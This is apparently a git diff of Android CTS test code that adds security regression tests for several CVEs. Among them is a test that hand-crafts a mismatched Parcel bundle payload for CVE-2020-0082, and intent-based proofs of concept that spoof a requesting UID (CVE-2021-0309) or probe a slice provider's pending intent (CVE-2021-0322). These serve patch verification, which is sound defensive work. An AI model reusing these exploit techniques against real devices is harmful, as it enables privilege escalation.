+                        infoIntent, PendingIntent.FLAG_UPDATE_CURRENT | PendingIntent.FLAG_MUTABLE_UNAUDITED);
 
                 sPrinter = new PrinterInfo.Builder(printerId, printerName,
                         PrinterInfo.STATUS_IDLE)
@@ -591,7 +591,7 @@
                     infoIntent.putExtra("PRINTER_NAME", "Printer2");
 
                     PendingIntent infoPendingIntent = PendingIntent.getActivity(getActivity(), 0,
-                            infoIntent, PendingIntent.FLAG_UPDATE_CURRENT);
+                            infoIntent, PendingIntent.FLAG_UPDATE_CURRENT | PendingIntent.FLAG_MUTABLE_UNAUDITED);
 
                     PrinterInfo printer2 = new PrinterInfo.Builder(printer2Id, "Printer2",
                             PrinterInfo.STATUS_IDLE)
diff --git a/tests/tests/provider/Android.bp b/tests/tests/provider/Android.bp
index 1f5a1ae..6fb6d09 100644
--- a/tests/tests/provider/Android.bp
+++ b/tests/tests/provider/Android.bp
@@ -8,6 +8,7 @@
     test_suites: [
         "cts",
         "general-tests",
+        "sts",
     ],
 
     libs: [
diff --git a/tests/tests/provider/OWNERS b/tests/tests/provider/OWNERS
index 5861cd2..79975c0 100644
--- a/tests/tests/provider/OWNERS
+++ b/tests/tests/provider/OWNERS
@@ -1,8 +1,7 @@
 # Bug component: 655625
-nandana@google.com
-zezeozue@google.com
-jsharkey@android.com
-corinac@google.com
+
+include platform/frameworks/base:/core/java/android/os/storage/OWNERS
+
 tgunn@google.com
 nicksauer@google.com
 nona@google.com
diff --git a/tests/tests/provider/preconditions/Android.bp b/tests/tests/provider/preconditions/Android.bp
index 2f2dfae..0e3d6e8 100644
--- a/tests/tests/provider/preconditions/Android.bp
+++ b/tests/tests/provider/preconditions/Android.bp
@@ -10,6 +10,7 @@
     test_suites: [
         "cts",
         "general-tests",
+        "sts"
     ],
     host_supported: true,
     device_supported: false,
diff --git a/tests/tests/provider/res/raw/testvideo2.mp4 b/tests/tests/provider/res/raw/testvideo2.mp4
index 1be8bee..216d330 100644
--- a/tests/tests/provider/res/raw/testvideo2.mp4
+++ b/tests/tests/provider/res/raw/testvideo2.mp4
Binary files differ
diff --git a/tests/tests/provider/src/android/provider/cts/contacts/CallLogTest.java b/tests/tests/provider/src/android/provider/cts/contacts/CallLogTest.java
index be71f6a..274b005 100644
--- a/tests/tests/provider/src/android/provider/cts/contacts/CallLogTest.java
+++ b/tests/tests/provider/src/android/provider/cts/contacts/CallLogTest.java
@@ -16,11 +16,27 @@
 
 package android.provider.cts.contacts;
 
+import static org.junit.Assert.assertArrayEquals;
+
 import android.content.ContentResolver;
 import android.content.ContentValues;
 import android.content.Context;
+import android.net.Uri;
+import android.os.OutcomeReceiver;
+import android.os.ParcelFileDescriptor;
 import android.provider.CallLog;
+import android.provider.cts.R;
 import android.test.InstrumentationTestCase;
+import android.util.Pair;
+
+import androidx.annotation.NonNull;
+
+import java.io.ByteArrayOutputStream;
+import java.io.FileInputStream;
+import java.io.InputStream;
+import java.util.concurrent.CompletableFuture;
+import java.util.concurrent.Executors;
+import java.util.concurrent.TimeUnit;
 
 public class CallLogTest extends InstrumentationTestCase {
 
@@ -75,6 +91,59 @@
         );
     }
 
+    public void testCallComposerImageStorage() throws Exception {
+        Context context = getInstrumentation().getContext();
+        byte[] expected = readResourceDrawable(context, R.drawable.testimage);
+
+        CompletableFuture<Pair<Uri, CallLog.CallComposerLoggingException>> resultFuture =
+                new CompletableFuture<>();
+        Pair<Uri, CallLog.CallComposerLoggingException> result;
+        try (InputStream inputStream =
+                     context.getResources().openRawResource(R.drawable.testimage)) {
+            CallLog.storeCallComposerPictureAsUser(context, android.os.Process.myUserHandle(),
+                    inputStream,
+                    Executors.newSingleThreadExecutor(),
+                    new OutcomeReceiver<Uri, CallLog.CallComposerLoggingException>() {
+                        @Override
+                        public void onResult(@NonNull Uri result) {
+                            resultFuture.complete(Pair.create(result, null));
+                        }
+
+                        @Override
+                        public void onError(CallLog.CallComposerLoggingException error) {
+                            resultFuture.complete(Pair.create(null, error));
+                        }
+                    });
+           result = resultFuture.get(CONTENT_RESOLVER_TIMEOUT_MS, TimeUnit.MILLISECONDS);
+        }
+        if (result.second != null) {
+            fail("Got error " + result.second.getErrorCode() + " when storing image");
+        }
+        Uri imageLocation = result.first;
+
+        try (ParcelFileDescriptor pfd =
+                context.getContentResolver().openFileDescriptor(imageLocation, "r")) {
+            byte[] remoteBytes = readBytes(new FileInputStream(pfd.getFileDescriptor()));
+            assertArrayEquals(expected, remoteBytes);
+        }
+    }
+
+    private byte[] readResourceDrawable(Context context, int id) throws Exception {
+        InputStream inputStream = context.getResources().openRawResource(id);
+        return readBytes(inputStream);
+    }
+
+    private byte[] readBytes(InputStream inputStream) throws Exception {
+        byte[] buffer = new byte[1024];
+        ByteArrayOutputStream output = new ByteArrayOutputStream();
+        int numRead;
+        do {
+            numRead = inputStream.read(buffer);
+            if (numRead > 0) output.write(buffer, 0, numRead);
+        } while (numRead > 0);
+        return output.toByteArray();
+    }
+
     private void waitUntilConditionIsTrueOrTimeout(Condition condition, long timeout,
             String description) {
         final long start = System.currentTimeMillis();
diff --git a/tests/tests/provider/src/android/provider/cts/media/MediaStore_Audio_MediaTest.java b/tests/tests/provider/src/android/provider/cts/media/MediaStore_Audio_MediaTest.java
index bc4925c..ee7adbc 100644
--- a/tests/tests/provider/src/android/provider/cts/media/MediaStore_Audio_MediaTest.java
+++ b/tests/tests/provider/src/android/provider/cts/media/MediaStore_Audio_MediaTest.java
@@ -108,6 +108,10 @@
         assertNotNull(c = mContentResolver.query(Media.getContentUriForPath(internalPath), null, null,
                 null, null));
         c.close();
+
+        // Check other volume has correct uri
+        assertEquals(Media.getContentUri("0000-0000"),
+                Media.getContentUriForPath("/storage/0000-0000/foo.jpg"));
     }
 
     @Test
diff --git a/tests/tests/provider/src/android/provider/cts/media/MediaStore_Images_MediaTest.java b/tests/tests/provider/src/android/provider/cts/media/MediaStore_Images_MediaTest.java
index 2b692a0..d51c540 100644
--- a/tests/tests/provider/src/android/provider/cts/media/MediaStore_Images_MediaTest.java
+++ b/tests/tests/provider/src/android/provider/cts/media/MediaStore_Images_MediaTest.java
@@ -395,8 +395,6 @@
 
     @Test
     public void testLocationRedaction() throws Exception {
-        // STOPSHIP: remove this once isolated storage is always enabled
-        Assume.assumeTrue(StorageManager.hasIsolatedStorage());
         final Uri publishUri = ProviderTestUtils.stageMedia(R.raw.lg_g4_iso_800_jpg, mExternalImages,
                 "image/jpeg");
         final Uri originalUri = MediaStore.setRequireOriginal(publishUri);
diff --git a/tests/tests/provider/src/android/provider/cts/media/MediaStore_Video_MediaTest.java b/tests/tests/provider/src/android/provider/cts/media/MediaStore_Video_MediaTest.java
index 2a9444a..24332de 100644
--- a/tests/tests/provider/src/android/provider/cts/media/MediaStore_Video_MediaTest.java
+++ b/tests/tests/provider/src/android/provider/cts/media/MediaStore_Video_MediaTest.java
@@ -38,6 +38,7 @@
 import android.os.FileUtils;
 import android.os.ParcelFileDescriptor;
 import android.os.storage.StorageManager;
+import android.platform.test.annotations.SecurityTest;
 import android.provider.MediaStore;
 import android.provider.MediaStore.Files.FileColumns;
 import android.provider.MediaStore.Video.Media;
@@ -257,6 +258,7 @@
         }
     }
 
+    @SecurityTest
     @Test
     public void testIsoLocationRedaction() throws Exception {
         // These videos have all had their ISO location metadata (in the (c)xyz box) artificially
diff --git a/tests/tests/role/src/android/app/role/cts/RoleControllerManagerTest.kt b/tests/tests/role/src/android/app/role/cts/RoleControllerManagerTest.kt
index d3ebfc5..3c09a30 100644
--- a/tests/tests/role/src/android/app/role/cts/RoleControllerManagerTest.kt
+++ b/tests/tests/role/src/android/app/role/cts/RoleControllerManagerTest.kt
@@ -18,7 +18,6 @@
 
 import android.app.Instrumentation
 
-import android.app.role.RoleControllerManager
 import android.app.role.RoleManager
 import android.content.Context
 import android.content.Intent
@@ -42,15 +41,14 @@
 import java.util.function.Consumer
 
 /**
- * Tests [RoleControllerManager].
+ * Tests RoleControllerManager APIs exposed on [RoleManager].
  */
 @RunWith(AndroidJUnit4::class)
 class RoleControllerManagerTest {
     private val instrumentation: Instrumentation = InstrumentationRegistry.getInstrumentation()
     private val context: Context = instrumentation.context
     private val packageManager: PackageManager = context.packageManager
-    private val roleControllerManager: RoleControllerManager =
-        context.getSystemService(RoleControllerManager::class.java)!!
+    private val roleManager: RoleManager = context.getSystemService(RoleManager::class.java)!!
 
     @Before
     fun installApp() {
@@ -95,7 +93,7 @@
     ) {
         runWithShellPermissionIdentity {
             val future = CompletableFuture<Boolean>()
-            roleControllerManager.isApplicationVisibleForRole(
+            roleManager.isApplicationVisibleForRole(
                 roleName, packageName, context.mainExecutor, Consumer { future.complete(it) }
             )
             val isVisible = future.get(TIMEOUT_MILLIS, TimeUnit.MILLISECONDS)
@@ -121,7 +119,7 @@
     private fun isRoleVisible(roleName: String): Boolean =
         runWithShellPermissionIdentity(ThrowingSupplier {
             val future = CompletableFuture<Boolean>()
-            roleControllerManager.isRoleVisible(
+            roleManager.isRoleVisible(
                 roleName, context.mainExecutor, Consumer { future.complete(it) }
             )
             future.get(TIMEOUT_MILLIS, TimeUnit.MILLISECONDS)
diff --git a/tests/tests/security/AndroidManifest.xml b/tests/tests/security/AndroidManifest.xml
index 7e4402e..76fc9cf 100644
--- a/tests/tests/security/AndroidManifest.xml
+++ b/tests/tests/security/AndroidManifest.xml
@@ -100,6 +100,25 @@
                 <data android:mimeType="application/vnd.android.package-archive"/>
             </intent-filter>
         </receiver>
+
+        <activity android:name="android.security.cts.CVE_2021_0339$FirstActivity"
+             android:label="TAT Anim1"
+             android:exported="true">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
+            </intent-filter>
+        </activity>
+
+        <activity android:name="android.security.cts.CVE_2021_0339$SecondActivity"
+             android:label="TAT Anim2"
+             android:exported="true">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
+            </intent-filter>
+        </activity>
+
     </application>
 
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
diff --git a/tests/tests/security/res/anim/translate1.xml b/tests/tests/security/res/anim/translate1.xml
new file mode 100644
index 0000000..e8c562e
--- /dev/null
+++ b/tests/tests/security/res/anim/translate1.xml
@@ -0,0 +1,7 @@
+<?xml version="1.0" encoding="utf-8"?>
+<translate
+    xmlns:android="http://schemas.android.com/apk/res/android"
+    android:fromYDelta="0%"
+    android:toYDelta="-100%"
+    android:interpolator="@android:anim/linear_interpolator"
+    android:duration="6000" />
diff --git a/tests/tests/security/res/anim/translate2.xml b/tests/tests/security/res/anim/translate2.xml
new file mode 100644
index 0000000..7156c56
--- /dev/null
+++ b/tests/tests/security/res/anim/translate2.xml
@@ -0,0 +1,7 @@
+<?xml version="1.0" encoding="utf-8"?>
+<translate
+    xmlns:android="http://schemas.android.com/apk/res/android"
+    android:fromYDelta="100%"
+    android:toYDelta="0%"
+    android:interpolator="@android:anim/linear_interpolator"
+    android:duration="6000" />
diff --git a/tests/tests/security/res/raw/cve_2019_14013.mp4 b/tests/tests/security/res/raw/cve_2019_14013.mp4
new file mode 100644
index 0000000..2328751
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2019_14013.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2020_3633.mp2 b/tests/tests/security/res/raw/cve_2020_3633.mp2
new file mode 100644
index 0000000..9c68044
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2020_3633.mp2
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2020_3658.mp4 b/tests/tests/security/res/raw/cve_2020_3658.mp4
new file mode 100644
index 0000000..a8ae316
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2020_3658.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2020_3660.mp4 b/tests/tests/security/res/raw/cve_2020_3660.mp4
new file mode 100644
index 0000000..9e0c1bf
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2020_3660.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2020_3661.mp4 b/tests/tests/security/res/raw/cve_2020_3661.mp4
new file mode 100644
index 0000000..e822179
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2020_3661.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2020_3662.mp4 b/tests/tests/security/res/raw/cve_2020_3662.mp4
new file mode 100644
index 0000000..4fd269e
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2020_3662.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2021_0312.wav b/tests/tests/security/res/raw/cve_2021_0312.wav
new file mode 100644
index 0000000..aa144ec
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2021_0312.wav
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_com_google_android_tzdata3.bin b/tests/tests/security/res/raw/sig_com_google_android_tzdata3.bin
new file mode 100644
index 0000000..6058316
--- /dev/null
+++ b/tests/tests/security/res/raw/sig_com_google_android_tzdata3.bin
Binary files differ
diff --git a/tests/tests/security/src/android/security/cts/ActivityManagerTest.java b/tests/tests/security/src/android/security/cts/ActivityManagerTest.java
index 1e0232b..59d965d 100644
--- a/tests/tests/security/src/android/security/cts/ActivityManagerTest.java
+++ b/tests/tests/security/src/android/security/cts/ActivityManagerTest.java
@@ -80,8 +80,8 @@
         assertNotNull("Expect SecurityException by attaching null application", securityException);
     }
 
-    // b/165595677
-    @SecurityTest(minPatchLevel = "2020-10")
+    // b/166667403
+    @SecurityTest(minPatchLevel = "2021-01")
     public void testActivityManager_appExitReasonPackageNames() {
         final String mockPackage = "com.foo.bar";
         final String realPackage = "com.android.compatibility.common.deviceinfo";
diff --git a/tests/tests/security/src/android/security/cts/AmbiguousBundlesTest.java b/tests/tests/security/src/android/security/cts/AmbiguousBundlesTest.java
index e7126ed..99b2ab7 100644
--- a/tests/tests/security/src/android/security/cts/AmbiguousBundlesTest.java
+++ b/tests/tests/security/src/android/security/cts/AmbiguousBundlesTest.java
@@ -37,6 +37,145 @@
 
 public class AmbiguousBundlesTest extends AndroidTestCase {
 
+    /**
+     * b/140417434
+     * Vulnerability Behaviour: Failure via Exception
+     */
+    @SecurityTest(minPatchLevel = "2020-04")
+    public void test_android_CVE_2020_0082() throws Exception {
+
+        Ambiguator ambiguator = new Ambiguator() {
+
+            private static final int VAL_STRING = 0;
+            private static final int VAL_PARCELABLEARRAY = 16;
+            private static final int LENGTH_PARCELABLEARRAY = 4;
+            private Parcel mContextBinder;
+            private int mContextBinderSize;
+            private static final int BINDER_TYPE_HANDLE = 0x73682a85;
+            private static final int PAYLOAD_DATA_LENGTH = 54;
+
+            {
+                mContextBinder = Parcel.obtain();
+                mContextBinder.writeInt(BINDER_TYPE_HANDLE);
+                for (int i = 0; i < 20; i++) {
+                    mContextBinder.writeInt(0);
+                }
+                mContextBinder.setDataPosition(0);
+                mContextBinder.readStrongBinder();
+                mContextBinderSize = mContextBinder.dataPosition();
+            }
+
+            private String fillString(int length) {
+                return new String(new char[length]).replace('\0', 'A');
+            }
+
+
+            private String stringForInts(int... values) {
+                Parcel p = Parcel.obtain();
+                p.writeInt(2 * values.length);
+                for (int value : values) {
+                    p.writeInt(value);
+                }
+                p.writeInt(0);
+                p.setDataPosition(0);
+                String s = p.readString();
+                p.recycle();
+                return s;
+            }
+
+            private void writeContextBinder(Parcel parcel) {
+                parcel.appendFrom(mContextBinder, 0, mContextBinderSize);
+            }
+
+            @Override
+            public Bundle make(Bundle preReSerialize, Bundle postReSerialize) throws Exception {
+                // Find key that has hash below everything else
+                Random random = new Random(1234);
+                int minHash = 0;
+                for (String s : preReSerialize.keySet()) {
+                    minHash = Math.min(minHash, s.hashCode());
+                }
+                for (String s : postReSerialize.keySet()) {
+                    minHash = Math.min(minHash, s.hashCode());
+                }
+
+                String key, key2;
+                int keyHash, key2Hash;
+
+                do {
+                    key = randomString(random);
+                    keyHash = key.hashCode();
+                } while (keyHash >= minHash);
+
+                do {
+                    key2 = randomString(random);
+                    key2Hash = key2.hashCode();
+                } while (key2Hash >= minHash || keyHash == key2Hash);
+
+                if (keyHash > key2Hash) {
+                    String tmp = key;
+                    key = key2;
+                    key2 = tmp;
+                }
+
+                // Pad bundles
+                padBundle(postReSerialize, preReSerialize.size(), minHash, random);
+                padBundle(preReSerialize, postReSerialize.size(), minHash, random);
+
+                // Write bundle
+                Parcel parcel = Parcel.obtain();
+
+                int sizePosition = parcel.dataPosition();
+                parcel.writeInt(0);
+                parcel.writeInt(BUNDLE_MAGIC);
+                int startPosition = parcel.dataPosition();
+                parcel.writeInt(preReSerialize.size() + 2);
+
+                parcel.writeString(key);
+                parcel.writeInt(VAL_PARCELABLEARRAY);
+                parcel.writeInt(LENGTH_PARCELABLEARRAY);
+                parcel.writeString("android.os.ExternalVibration");
+                parcel.writeInt(0);
+                parcel.writeString(null);
+                parcel.writeInt(0);
+                parcel.writeInt(0);
+                parcel.writeInt(0);
+                parcel.writeInt(0);
+                writeContextBinder(parcel);
+                writeContextBinder(parcel);
+
+                parcel.writeString(null);
+                parcel.writeString(null);
+                parcel.writeString(null);
+
+                // Payload
+                parcel.writeString(key2);
+                parcel.writeInt(VAL_OBJECTARRAY);
+                parcel.writeInt(2);
+                parcel.writeInt(VAL_STRING);
+                parcel.writeString(
+                        fillString(PAYLOAD_DATA_LENGTH) + stringForInts(VAL_INTARRAY, 5));
+                parcel.writeInt(VAL_BUNDLE);
+                parcel.writeBundle(postReSerialize);
+
+                // Data from preReSerialize bundle
+                writeBundleSkippingHeaders(parcel, preReSerialize);
+
+                // Fix up bundle size
+                int bundleDataSize = parcel.dataPosition() - startPosition;
+                parcel.setDataPosition(sizePosition);
+                parcel.writeInt(bundleDataSize);
+
+                parcel.setDataPosition(0);
+                Bundle bundle = parcel.readBundle();
+                parcel.recycle();
+                return bundle;
+            }
+        };
+
+        testAmbiguator(ambiguator);
+    }
+
     /*
      * b/71992105
      */
diff --git a/tests/tests/security/src/android/security/cts/CVE_2021_0309.java b/tests/tests/security/src/android/security/cts/CVE_2021_0309.java
new file mode 100644
index 0000000..3f39a0e
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/CVE_2021_0309.java
@@ -0,0 +1,94 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.security.cts;
+
+import static org.junit.Assert.assertFalse;
+
+import android.accounts.Account;
+import android.accounts.AccountAuthenticatorResponse;
+import android.accounts.AccountManager;
+import android.accounts.GrantCredentialsPermissionActivity;
+import android.accounts.IAccountAuthenticatorResponse;
+import android.content.Context;
+import android.content.Intent;
+import android.os.Bundle;
+import android.os.RemoteException;
+import android.platform.test.annotations.SecurityTest;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class CVE_2021_0309 {
+    private final Context mContext = InstrumentationRegistry.getContext();
+    boolean isVulnerable = true;
+
+    /**
+     * b/159145361
+     */
+    @SecurityTest(minPatchLevel = "2021-01")
+    @Test
+    public void testPocCVE_2021_0309() {
+        /**
+         * Output of adb shell pm list packages --user 0 -U com.android.providers.media
+         * package:com.android.providers.media uid:10008
+         */
+        final int REQUESTED_UID = 10008;
+        Intent intent = new Intent();
+        intent.setClassName("android",
+                            "android.accounts.GrantCredentialsPermissionActivity");
+        intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+        intent.putExtra(GrantCredentialsPermissionActivity.EXTRAS_ACCOUNT,
+                        new Account("abc@xyz.org", "com.my.auth"));
+        intent.putExtra(GrantCredentialsPermissionActivity.EXTRAS_AUTH_TOKEN_TYPE,
+                        AccountManager.ACCOUNT_ACCESS_TOKEN_TYPE);
+        intent.putExtra(GrantCredentialsPermissionActivity.EXTRAS_RESPONSE,
+            new AccountAuthenticatorResponse(new IAccountAuthenticatorResponse.Stub() {
+                @Override
+                public void onResult(Bundle value) throws RemoteException {
+                }
+
+                @Override
+                public void onRequestContinued() {
+                }
+
+                @Override
+                public void onError(int errorCode, String errorMessage) throws RemoteException {
+                    /**
+                     * GrantCredentialsPermissionActivity's onCreate() should not execute and
+                     * should return error when the requested UID does not match the process's UID
+                     */
+                    isVulnerable = false;
+                }
+            }));
+
+        intent.putExtra(GrantCredentialsPermissionActivity.EXTRAS_REQUESTING_UID,
+                        REQUESTED_UID);
+        mContext.startActivity(intent);
+        /**
+         * Sleep for 5 seconds to ensure that the AccountAuthenticatorResponse callback gets
+         * triggered if vulnerability is fixed.
+         */
+        try {
+            Thread.sleep(5000);
+        } catch (Exception e) {
+        }
+        assertFalse(isVulnerable);
+    }
+}
diff --git a/tests/tests/security/src/android/security/cts/CVE_2021_0322.java b/tests/tests/security/src/android/security/cts/CVE_2021_0322.java
new file mode 100644
index 0000000..2233005
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/CVE_2021_0322.java
@@ -0,0 +1,80 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.security.cts;
+
+import static org.junit.Assert.assertTrue;
+
+import android.app.PendingIntent;
+import android.content.Context;
+import android.content.Intent;
+import android.content.pm.ProviderInfo;
+import android.net.Uri;
+import android.os.Bundle;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import android.platform.test.annotations.SecurityTest;
+
+@RunWith(AndroidJUnit4.class)
+public class CVE_2021_0322 {
+
+    private static final Uri BASE_URI = Uri.parse("content://android.security.cts.local/main");
+    private final Context mContext = InstrumentationRegistry.getContext();
+
+    boolean isVulnerable = false;
+    boolean onFinishedExecuted = false;
+
+    /**
+     * b/159145361
+     */
+    @SecurityTest(minPatchLevel = "2021-01")
+    @Test
+    public void testPocCVE_2021_0322() {
+        CVE_2021_0322_SliceProvider serviceProvider = new CVE_2021_0322_SliceProvider();
+        serviceProvider.attachInfo(mContext, new ProviderInfo());
+        PendingIntent pi = serviceProvider.onCreatePermissionRequest(BASE_URI);
+        PendingIntent.OnFinished onFinish = new PendingIntent.OnFinished() {
+            public void onSendFinished(PendingIntent pi, Intent intent,
+                    int resultCode, String resultData, Bundle resultExtras) {
+                String packageName = intent.getStringExtra("provider_pkg");
+                if(packageName != null) {
+                    isVulnerable = true;
+                }
+                onFinishedExecuted = true;
+            }
+        };
+        /* Execute the intent - the result is not required as the focus is    */
+        /* the intent which was used. Hence ignore the exceptions.            */
+        try {
+            pi.send(0, onFinish, null);
+        } catch (Exception e) {
+        }
+        /* Wait till the intent finishes. PendingIntent.OnFinished would be   */
+        /* exectuted and the details of the intent which was executed would   */
+        /* checked.                                                           */
+        try {
+            while(!onFinishedExecuted) {
+                Thread.sleep(1000); //Sleep for 1 second
+            }
+            assertTrue(!isVulnerable);
+        } catch (Exception e) {
+        }
+    }
+}
diff --git a/tests/tests/security/src/android/security/cts/CVE_2021_0322_SliceProvider.java b/tests/tests/security/src/android/security/cts/CVE_2021_0322_SliceProvider.java
new file mode 100644
index 0000000..f32aa90
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/CVE_2021_0322_SliceProvider.java
@@ -0,0 +1,26 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.security.cts;
+
+import android.content.Context;
+
+public class CVE_2021_0322_SliceProvider extends android.app.slice.SliceProvider {
+
+    @Override
+    public boolean onCreate() {
+        return true;
+    }
+}
diff --git a/tests/tests/security/src/android/security/cts/CVE_2021_0339.java b/tests/tests/security/src/android/security/cts/CVE_2021_0339.java
new file mode 100644
index 0000000..66eadad
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/CVE_2021_0339.java
@@ -0,0 +1,111 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static org.junit.Assert.assertTrue;
+import android.test.AndroidTestCase;
+import android.app.Activity;
+import android.content.Context;
+import android.content.Intent;
+import android.platform.test.annotations.SecurityTest;
+import android.os.SystemClock;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+import android.util.Log;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@SecurityTest
+@RunWith(AndroidJUnit4.class)
+public class CVE_2021_0339 {
+
+    static final String TAG = CVE_2021_0339.class.getSimpleName();
+    private static final String SECURITY_CTS_PACKAGE_NAME = "android.security.cts";
+    static final int MAX_TRANSITION_DURATION_MS = 3000;
+    static final int TIME_MEASUREMENT_DELAY_MS = 150;
+    public static boolean testCompleted;
+
+    public FirstActivity fActivity;
+    public SecondActivity sActivity;
+
+    private void launchActivity(Class<? extends Activity> clazz) {
+        final Context context = InstrumentationRegistry.getInstrumentation().getContext();
+        final Intent intent = new Intent(Intent.ACTION_MAIN);
+        intent.setClassName(SECURITY_CTS_PACKAGE_NAME, clazz.getName());
+        intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+        context.startActivity(intent);
+    }
+
+    /**
+     * b/175817167
+     */
+    @Test
+    @SecurityTest
+    public void testPocCVE_2021_0339() throws Exception {
+
+        Log.d(TAG, "test start");
+        testCompleted = false;
+        launchActivity(FirstActivity.class);
+
+        //wait for SecondActivity animation to complete
+        synchronized(CVE_2021_0339.class){
+          if(!testCompleted)
+            CVE_2021_0339.class.wait();
+        }
+        Log.d(TAG, "test completed");
+
+        //A duration of a transition from "FirstActivity" to "Second Activity"
+        //is set in this test to 6000 ms
+        // (res/anim/translate1.xml and res/anim/translate2.xml)
+        //The fix is supposed to limit the duration to 3000 ms
+        assertTrue(SecondActivity.duration < MAX_TRANSITION_DURATION_MS +
+          TIME_MEASUREMENT_DELAY_MS);
+    }
+
+    public static class FirstActivity extends Activity {
+
+      @Override
+      public void onEnterAnimationComplete() {
+        super.onEnterAnimationComplete();
+        Intent intent = new Intent(this, SecondActivity.class);
+        intent.putExtra("STARTED_TIMESTAMP", SystemClock.uptimeMillis());
+        startActivity(intent);
+        overridePendingTransition(R.anim.translate2,R.anim.translate1);
+        Log.d(TAG,this.getLocalClassName()+" onEnterAnimationComplete()");
+      }
+    }
+
+    public static class SecondActivity extends Activity{
+      public static int duration = 0;
+
+      @Override
+      public void onEnterAnimationComplete() {
+        super.onEnterAnimationComplete();
+        long completedTs = SystemClock.uptimeMillis();
+        long startedTs = getIntent().getLongExtra("STARTED_TIMESTAMP", 0);
+        duration = (int)(completedTs - startedTs);
+        Log.d(TAG, this.getLocalClassName()
+          + " onEnterAnimationComplete() duration=" + Long.toString(duration));
+
+        //Notify main thread that the test is completed
+        synchronized(CVE_2021_0339.class){
+          CVE_2021_0339.testCompleted = true;
+          CVE_2021_0339.class.notifyAll();
+        }
+      }
+    }
+}
diff --git a/tests/tests/security/src/android/security/cts/PackageSignatureTest.java b/tests/tests/security/src/android/security/cts/PackageSignatureTest.java
index 3aec394..0e0657a 100644
--- a/tests/tests/security/src/android/security/cts/PackageSignatureTest.java
+++ b/tests/tests/security/src/android/security/cts/PackageSignatureTest.java
@@ -103,10 +103,11 @@
         wellKnownSignatures.add(getSignature(R.raw.sig_com_google_android_resolv));
         wellKnownSignatures.add(getSignature(R.raw.sig_com_google_android_runtime_debug));
         wellKnownSignatures.add(getSignature(R.raw.sig_com_google_android_runtime_release));
-        wellKnownSignatures.add(getSignature(R.raw.sig_com_google_android_tzdata2));
-        // The following keys are no longer in use by modules, but it won't negatively affect tests
-        // to include their signatures here too.
+        wellKnownSignatures.add(getSignature(R.raw.sig_com_google_android_tzdata3));
+        // The following keys are not not used by modules on the latest Android release, but it
+        // won't negatively affect tests to include their signatures here too.
         wellKnownSignatures.add(getSignature(R.raw.sig_com_google_android_tzdata));
+        wellKnownSignatures.add(getSignature(R.raw.sig_com_google_android_tzdata2));
         return wellKnownSignatures;
     }
 
diff --git a/tests/tests/security/src/android/security/cts/StagefrightTest.java b/tests/tests/security/src/android/security/cts/StagefrightTest.java
index ee9e362..13495dc 100644
